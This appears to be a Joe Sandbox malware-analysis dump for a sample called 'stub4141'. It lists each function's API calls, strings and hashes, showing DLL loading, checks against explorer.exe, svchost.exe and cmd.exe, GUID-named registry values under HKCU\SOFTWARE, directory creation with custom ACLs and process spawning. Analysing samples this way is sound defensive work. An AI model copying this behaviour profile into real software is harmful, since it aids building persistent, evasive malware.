%s\explorer.exe, xrefs: 004016F1
{C5317D93-500A-471E-A899-EE445E4629EC}, xrefs: 00401A4B

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: ExitProcess$FileLibraryLoadModuleName_memset
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe${1559C4CD-3D26-469A-8224-1AB8C1DF7CDA}${414C01E0-7053-4041-8CA6-B1EF6EE7CF79}${62A73DC5-B44C-41A5-95C2-BF9107E36D73}${6837DC06-EC8B-4D09-8FB2-23C8B38AB850}${85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}${A062E120-2756-48E4-82DB-098F1D94D8A9}${BA815171-8650-4CA0-A33D-83E96A2C2491}${BBF173FA-E399-4CBA-82A3-5D53467FFBF2}${BFC89505-7634-423F-83D6-983772D943D2}${C5317D93-500A-471E-A899-EE445E4629EC}${F8D9A4CE-4164-49CD-8372-97E55A18B928}${FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}
API String ID: 3630785697-1675280709
Opcode ID: 09493063786dff10f459755e08d150513443412f6f81add2d17ba5ce8d90a655
Instruction ID: 82d77ea1bae5232792fa72910d8f20f2a6934798a349133af3a821127ff79430
Opcode Fuzzy Hash: 09493063786dff10f459755e08d150513443412f6f81add2d17ba5ce8d90a655
Instruction Fuzzy Hash: 5162AE70A00218EFDB60AF60DC49B9D73B5EB44705F0048BEF609B62E0D7B99A84CF59

Function 004172C0 Relevance: 125.2, APIs: 51, Strings: 20, Instructions: 993libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(NTDLL.DLL), ref: 004172CE
GetProcAddress.KERNEL32(00000000,?), ref: 00417331

Strings

5, xrefs: 004176BB
WINHTTP.DLL, xrefs: 00417A59
WINMM.DLL, xrefs: 00417F22
KERNEL32.DLL, xrefs: 004173A6
ADVAPI32.DLL, xrefs: 00417685
USER32.DLL, xrefs: 0041749B
CRYPT32.DLL, xrefs: 00418201
GDI32.DLL, xrefs: 00417590
WS2_32.DLL, xrefs: 00417C43
SHELL32.DLL, xrefs: 0041786F
NTDLL.DLL, xrefs: 004172C9
OLE32.DLL, xrefs: 00417964
H, xrefs: 004174D1
SHLWAPI.DLL, xrefs: 0041777A
SECUR32.DLL, xrefs: 0041810C
DBGHELP.DLL, xrefs: 00418017
MSI.DLL, xrefs: 00417E2D
WTSAPI32.DLL, xrefs: 00417B4E
GDIPLUS.DLL, xrefs: 00417D38
l, xrefs: 004173DC

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: 5$ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$H$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL$l
API String ID: 2574300362-3558653205
Opcode ID: 9cd9a3042f9962fea26c671db0c9a1a7384b7d6df9a2db1aeb1f14bc40c9d3b2
Instruction ID: 738ec12c51b338c2fbdf13b89e5a94ba11c0a4e63e0621819203fce41bd8fdd1
Opcode Fuzzy Hash: 9cd9a3042f9962fea26c671db0c9a1a7384b7d6df9a2db1aeb1f14bc40c9d3b2
Instruction Fuzzy Hash: 75A20674A04219DFCB24DF64DD84BEAB7B5FB48305F1084AAE509A3340DB78AAC5CF59

Function 0040A5A0 Relevance: 89.5, APIs: 42, Strings: 9, Instructions: 229
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040118C), ref: 0040A5A6
CommandLineToArgvW.SHELL32(?,0040118C), ref: 0040A5B7
lstrcmpiW.KERNELBASE(?,{DB324A97-B31B-4D9E-9903-E21DB623A349}), ref: 0040A5CC
lstrcmpiW.KERNEL32(?,{038CDC94-7372-4025-A085-7D34087AA1EA}), ref: 0040A5F1
IsUserAnAdmin.SHELL32 ref: 0040A609
OpenEventW.KERNEL32(00100002,00000000,{88FC0E5E-2A45-42EF-91E1-BBE85C908D25}), ref: 0040A627
SetEvent.KERNEL32(00000000), ref: 0040A63A
CloseHandle.KERNEL32(00000000), ref: 0040A648
ExitProcess.KERNEL32 ref: 0040A650

Strings

{62A73DC5-B44C-41A5-95C2-BF9107E36D73}, xrefs: 0040A87E
{ED5DFF98-D300-4148-A69B-16ABA2527122}, xrefs: 0040A6C6
{6837DC06-EC8B-4D09-8FB2-23C8B38AB850}, xrefs: 0040A714, 0040A7F3
{88FC0E5E-2A45-42EF-91E1-BBE85C908D25}, xrefs: 0040A61B
{BFC89505-7634-423F-83D6-983772D943D2}, xrefs: 0040A684, 0040A758, 0040A837, 0040A8A4
{85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}, xrefs: 0040A7A5
{DB324A97-B31B-4D9E-9903-E21DB623A349}, xrefs: 0040A5C0
{038CDC94-7372-4025-A085-7D34087AA1EA}, xrefs: 0040A5E5
{C5317D93-500A-471E-A899-EE445E4629EC}, xrefs: 0040A6E0, 0040A7BF

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CommandEventLinelstrcmpi$AdminArgvCloseExitHandleOpenProcessUser
String ID: {038CDC94-7372-4025-A085-7D34087AA1EA}${62A73DC5-B44C-41A5-95C2-BF9107E36D73}${6837DC06-EC8B-4D09-8FB2-23C8B38AB850}${85CEBC84-7FEF-4A5E-8D36-DB9B65BD95B9}${88FC0E5E-2A45-42EF-91E1-BBE85C908D25}${BFC89505-7634-423F-83D6-983772D943D2}${C5317D93-500A-471E-A899-EE445E4629EC}${DB324A97-B31B-4D9E-9903-E21DB623A349}${ED5DFF98-D300-4148-A69B-16ABA2527122}
API String ID: 786710000-2916565976
Opcode ID: 661f376a0de1acd9a2569c372308b01707640ddc1a59dda81bc1dec582fcfcf4
Instruction ID: 6442de36880c4784f83327c7476b82c86d395d7222fe710c6e72872a51f72c3d
Opcode Fuzzy Hash: 661f376a0de1acd9a2569c372308b01707640ddc1a59dda81bc1dec582fcfcf4
Instruction Fuzzy Hash: CE915F70A44304EFD704ABA4DD4DBAE7B71FB08705F24893AF602B62D0D7B88445DB5A

Function 0040CE20 Relevance: 36.9, APIs: 17, Strings: 4, Instructions: 117
memoryprocessstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040CE52
__snwprintf.LIBCMT ref: 0040CE7C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040CE8B
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 0040CEA9
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040CEBF
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040CED4
__snwprintf.LIBCMT ref: 0040CF03
_memset.LIBCMT ref: 0040CF13
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0040CF3E
LocalFree.KERNELBASE(00000000), ref: 0040CF4D
LocalFree.KERNELBASE(00000000), ref: 0040CF57
LocalFree.KERNEL32(00000000), ref: 0040CF61
LocalFree.KERNEL32(00000000), ref: 0040CF6B
LocalFree.KERNEL32(00000000), ref: 0040CF7C
LocalFree.KERNEL32(00000000), ref: 0040CF86
LocalFree.KERNEL32(00000000), ref: 0040CF90
LocalFree.KERNEL32(00000000), ref: 0040CF9A

Strings

{62A73DC5-B44C-41A5-95C2-BF9107E36D73}, xrefs: 0040CEE7
D, xrefs: 0040CF1B
%s%s, xrefs: 0040CE6E
"%s%s" %s, xrefs: 0040CEF5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$Alloc$__snwprintflstrlen$CreateFileFolderKnownModuleNamePathProcessTask_memsetlstrcmpi
String ID: "%s%s" %s$%s%s$D${62A73DC5-B44C-41A5-95C2-BF9107E36D73}
API String ID: 2642993909-3484921938
Opcode ID: bcf0af99410d26bdeee4616ac4c59220f048c16e16a16faa31eebc7bdb33408d
Instruction ID: d3d8290197cfc4ca4da16c174d98f5e46fa868fd44a9e2617c4b3a79729b38db
Opcode Fuzzy Hash: bcf0af99410d26bdeee4616ac4c59220f048c16e16a16faa31eebc7bdb33408d
Instruction Fuzzy Hash: 5B417DB5A00209BFD710EBA0DC89FAE77B5FF48705F104929F601B62D1D7789A44CBA9

Function 00409FD0 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 136
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040A320: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
Part of subcall function 0040A320: lstrlenW.KERNEL32(?), ref: 0040A386
Part of subcall function 0040A320: lstrlenW.KERNEL32(00480318), ref: 0040A399
Part of subcall function 0040A320: LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
Part of subcall function 0040A320: __snwprintf.LIBCMT ref: 0040A3DA
Part of subcall function 0040A320: lstrlenW.KERNEL32(00000000), ref: 0040A3E6
Part of subcall function 0040A320: CoTaskMemFree.COMBASE(?), ref: 0040A3F5

CreateDirectoryW.KERNELBASE(00000000,00000000), ref: 0040A003
GetLastError.KERNEL32 ref: 0040A00E
LocalAlloc.KERNELBASE(00000040,0000FFFE), ref: 0040A026
wsprintfW.USER32 ref: 0040A04F
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040A07A
CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 0040A0D1
GetLastError.KERNEL32 ref: 0040A0DD
LocalFree.KERNELBASE(00000000), ref: 0040A172
LocalFree.KERNELBASE(00000000), ref: 0040A17C
LocalFree.KERNEL32(00000000), ref: 0040A186
LocalFree.KERNEL32(00000000), ref: 0040A1E3

Strings

%s%s, xrefs: 0040A046
P, xrefs: 0040A0FF

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Local$Free$lstrlen$AllocCreateErrorFileLast$DirectoryFolderKnownModuleNamePathTask__snwprintfwsprintf
String ID: %s%s$P
API String ID: 4093884390-50959982
Opcode ID: 7c8c302c406abae2639d670c565e01e4bff6faafb5fec738653454a34eb9156e
Instruction ID: 327cb58241fa07680b893ec39dcdfc98fa88e71871b600b457f37d59dd2623e7
Opcode Fuzzy Hash: 7c8c302c406abae2639d670c565e01e4bff6faafb5fec738653454a34eb9156e
Instruction Fuzzy Hash: EF516C70900219EFDB24DBA0EC8CB9EB7B4EB48311F1046A9E515B62D0C7789A84CF59

Function 00405EE0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00405F00
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00405F16
_memset.LIBCMT ref: 00405F3B
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00405F4F
_memset.LIBCMT ref: 00405F74
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00405F88
_memset.LIBCMT ref: 00405FAD
__snwprintf.LIBCMT ref: 00405FCD
_memset.LIBCMT ref: 00405FEC
__snwprintf.LIBCMT ref: 0040600C
_memset.LIBCMT ref: 0040602B
__snwprintf.LIBCMT ref: 0040604B
StrCmpIW.KERNELBASE(?,?), ref: 00406061
StrCmpIW.SHLWAPI(?,?), ref: 00406079
StrCmpIW.SHLWAPI(?,?), ref: 00406091

Strings

%s\svchost.exe, xrefs: 00405FFB
%s\explorer.exe, xrefs: 00405FBC
%s\cmd.exe, xrefs: 0040603A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: _memset$__snwprintf$Directory$FileModuleNameSystemWindows
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 60459999-2596767422
Opcode ID: aceee46363664c4168532a4f3508451b53f9e0701031b87ff6bfc635edea1205
Instruction ID: f9db1643181c160f5077c94950270fbea7c1c211203df3d23e50b3073cfeabc8
Opcode Fuzzy Hash: aceee46363664c4168532a4f3508451b53f9e0701031b87ff6bfc635edea1205
Instruction Fuzzy Hash: 3041B675A503186AD720EB61AD46FEB73786F48700F4446E9B609E10C1EBF8CB94CB95

Function 00404600 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00404634
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0040464A

Part of subcall function 0041B920: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,0040466B,?,00000000), ref: 0041B93C
Part of subcall function 0041B920: GetFileSize.KERNEL32(000000FF,00000000,?,0040466B,?), ref: 0041B951
Part of subcall function 0041B920: LocalAlloc.KERNELBASE(00000040,000000FF,?,0040466B), ref: 0041B966
Part of subcall function 0041B920: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 0041B987
Part of subcall function 0041B920: CloseHandle.KERNELBASE(000000FF), ref: 0041B99D

__snwprintf.LIBCMT ref: 00404697
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 004046B9
RegSetValueExW.KERNELBASE(?,{2AA5C4F8-3D42-4ED8-A887-E5180E250AF3},00000000,00000003,00000000,00000000), ref: 004046E1
RegCloseKey.ADVAPI32(?), ref: 004046F2
LocalFree.KERNELBASE(00000000), ref: 004046FF
RegCloseKey.ADVAPI32(?), ref: 00404713
LocalFree.KERNEL32(00000000), ref: 00404720

Strings

SOFTWARE\%s, xrefs: 00404686
{2AA5C4F8-3D42-4ED8-A887-E5180E250AF3}, xrefs: 004046D5
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00404681

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: File$CloseLocal$Free$AllocCreateHandleModuleNameOpenReadSizeValue__snwprintf_memset
String ID: SOFTWARE\%s${2AA5C4F8-3D42-4ED8-A887-E5180E250AF3}${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}
API String ID: 3609211549-1635568676
Opcode ID: d39a54f6175ad50a9ea2a684ecf29ec9e6510fc61637fbf87960b5b81b4ec701
Instruction ID: 4c0c5577e4e94b3630c2dd47cc1358d781fbd366cde3951b7ff8202a2d3e0a2b
Opcode Fuzzy Hash: d39a54f6175ad50a9ea2a684ecf29ec9e6510fc61637fbf87960b5b81b4ec701
Instruction Fuzzy Hash: D62196B5A40318AFD720EB60DC8DFEE7378AB44700F5046D9B608A6191E7B49A84CF65

Function 0040A410 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,00480380,?,?,?,?,004015CD,00480380), ref: 0040A423
LocalAlloc.KERNELBASE(00000040,0000FFFE,?,?,?,?,004015CD,00480380), ref: 0040A438
wnsprintfW.SHLWAPI ref: 0040A467
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00480380), ref: 0040A4EF

Part of subcall function 0040A900: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A94D
Part of subcall function 0040A900: _memset.LIBCMT ref: 0040A963
Part of subcall function 0040A900: SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 0040A9A0
Part of subcall function 0040A900: LocalAlloc.KERNEL32(00000040,00000014), ref: 0040A9B3
Part of subcall function 0040A900: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 0040A9C8
Part of subcall function 0040A900: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 0040A9DE

CreateDirectoryW.KERNELBASE(?,0000000C), ref: 0040A49E
GetLastError.KERNEL32 ref: 0040A4A9
LocalFree.KERNEL32(00000000), ref: 0040A4BA
LocalFree.KERNEL32(?), ref: 0040A4C4
CoTaskMemFree.COMBASE(00480380), ref: 0040A4CE
LocalFree.KERNEL32(00000000), ref: 0040A4E5
CoTaskMemFree.COMBASE(00480380), ref: 0040A4F9

Strings

%s\%s, xrefs: 0040A459

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: FreeLocal$AllocDescriptorInitializeSecurityTask$AllocateCreateDaclDirectoryEntriesErrorFolderKnownLastPath_memsetwnsprintf
String ID: %s\%s
API String ID: 4260852628-4073750446
Opcode ID: 46f928c86f0992e6993c9c3dc9b08aaff3aa6b6718fae65ba524e109ed9fbd3a
Instruction ID: d55e8c27a1f9556fabcb6659e128b10627021b125bc09897edb8ed7935e2bb77
Opcode Fuzzy Hash: 46f928c86f0992e6993c9c3dc9b08aaff3aa6b6718fae65ba524e109ed9fbd3a
Instruction Fuzzy Hash: 1F212C78900308FFDB14DFA4DD8DBAE7BB5EF48701F104869E601A2291C7789A80CF99

Function 00404520 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 62
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00404540
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00404556
__snwprintf.LIBCMT ref: 0040457A
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 0040459C
lstrlenW.KERNEL32(?), ref: 004045AD
RegSetValueExW.KERNELBASE(?,{12180D6E-433D-4FF2-A9AE-D6E6E5AD9E21},00000000,00000001,?,00000002), ref: 004045CF
RegCloseKey.ADVAPI32(?), ref: 004045E0
RegCloseKey.ADVAPI32(?), ref: 004045F4

Strings

{12180D6E-433D-4FF2-A9AE-D6E6E5AD9E21}, xrefs: 004045C3
SOFTWARE\%s, xrefs: 00404569
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00404564

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Close$FileModuleNameOpenValue__snwprintf_memsetlstrlen
String ID: SOFTWARE\%s${12180D6E-433D-4FF2-A9AE-D6E6E5AD9E21}${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}
API String ID: 1214033602-1674083330
Opcode ID: 81199f0cc326b94e4d9585b660c9ebeb9d449d209b667c64cf887d0257e24776
Instruction ID: 64614e2318d55b0d4066d1ecdbfbefdc469e9839864de95966e87656354cb681
Opcode Fuzzy Hash: 81199f0cc326b94e4d9585b660c9ebeb9d449d209b667c64cf887d0257e24776
Instruction Fuzzy Hash: 7911ECB56003047BD714DB60DC4DFDA33389B44B00F50469DB719A61C1EAB4DA84CB69

Function 0040A320 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 83
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0040A374
lstrlenW.KERNEL32(?), ref: 0040A386
lstrlenW.KERNEL32(00480318), ref: 0040A399
LocalAlloc.KERNEL32(00000040,?), ref: 0040A3B2
__snwprintf.LIBCMT ref: 0040A3DA
lstrlenW.KERNEL32(00000000), ref: 0040A3E6
CoTaskMemFree.COMBASE(?), ref: 0040A3F5
CoTaskMemFree.COMBASE(?), ref: 0040A404

Strings

%s\%s\, xrefs: 0040A3CC

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: lstrlen$FreeTask$AllocFolderKnownLocalPath__snwprintf
String ID: %s\%s\
API String ID: 3447735180-2168696002
Opcode ID: 0142a991dc2b2804d195caa53fbe45c892a9dd0eb7e8b9952c0bff8d6bc53a70
Instruction ID: e7f8ea27440dd4d06ff367c653aa4dd8dd5a19088f1a6fc1383bb9b0c7f52506
Opcode Fuzzy Hash: 0142a991dc2b2804d195caa53fbe45c892a9dd0eb7e8b9952c0bff8d6bc53a70
Instruction Fuzzy Hash: 1E312BB4D002099FCB08DF98C985EAEBBB5FF48304F108569EA05AB351D774A940CFA5

Function 00405A20 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61
registrytimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 00405A3F
RegCreateKeyExW.KERNELBASE(80000001,?,00000000,00000000,00000000,000F013F,00000000,00401573,00000000), ref: 00405A66
RegCloseKey.KERNELBASE(00401573), ref: 00405A78
_memset.LIBCMT ref: 00405A86
GetSystemTime.KERNEL32(?), ref: 00405AA5
SystemTimeToFileTime.KERNEL32(?,?), ref: 00405AB6

Strings

SOFTWARE\%s, xrefs: 00405A2E
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00405A29

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}
API String ID: 3491885642-4111598946
Opcode ID: 78eaf5f679df7e9865b5b8881b638ec52d91e87645fd0727c47d0a8158c057e6
Instruction ID: 17f0876f57425b81d7ac448e29ec6465a0abfb646a01057ec5c1a39ad58563ac
Opcode Fuzzy Hash: 78eaf5f679df7e9865b5b8881b638ec52d91e87645fd0727c47d0a8158c057e6
Instruction Fuzzy Hash: 3F114971A40209BADB10E7A09C4AFFF7328EB14704F500A69B605B51D1FAF5A544CFA9

Function 00405AE0 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 00405AFF
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,000F013F,?), ref: 00405B1E
RegGetValueW.KERNELBASE(?,?,{B7B32D99-D409-4FAB-AF7C-00DEEF51A223},00000008,00000000,00405A97,0000000C), ref: 00405B51
RegCloseKey.ADVAPI32(?), ref: 00405B5F
RegCloseKey.ADVAPI32(?), ref: 00405B72

Strings

{B7B32D99-D409-4FAB-AF7C-00DEEF51A223}, xrefs: 00405B41
SOFTWARE\%s, xrefs: 00405AEE
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00405AE9

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Close$OpenValue__snwprintf
String ID: SOFTWARE\%s${96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}${B7B32D99-D409-4FAB-AF7C-00DEEF51A223}
API String ID: 3057694623-3552568839
Opcode ID: 5aabf92ec5619b641e6fc9252819a9870a4741549b25282bc3de90da32868fcb
Instruction ID: a08ce0dca2277d4e4428cf65a5d3e1bc5b65d2bd1e132d1adda26f69686e3eec
Opcode Fuzzy Hash: 5aabf92ec5619b641e6fc9252819a9870a4741549b25282bc3de90da32868fcb
Instruction Fuzzy Hash: 66018871644308FBD710DBA4DC89FAE737CEB08B40F100599B604A6180E6B5AA44DB69

Function 00405B90 Relevance: 14.0, APIs: 5, Strings: 3, Instructions: 43
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__snwprintf.LIBCMT ref: 00405BAF
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,000F013F,?), ref: 00405BCE
RegSetValueExW.KERNELBASE(?,{B7B32D99-D409-4FAB-AF7C-00DEEF51A223},00000000,00000003,00405AC5,0000000C), ref: 00405BEB
RegCloseKey.ADVAPI32(?), ref: 00405BF9
RegCloseKey.ADVAPI32(?), ref: 00405C07

Strings

SOFTWARE\%s, xrefs: 00405B9E
{B7B32D99-D409-4FAB-AF7C-00DEEF51A223}, xrefs: 00405BE2
{96AB7DDD-2B74-42A2-A5DD-FBD65C971E33}, xrefs: 00405B99

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Close$OpenValue__snwprintf
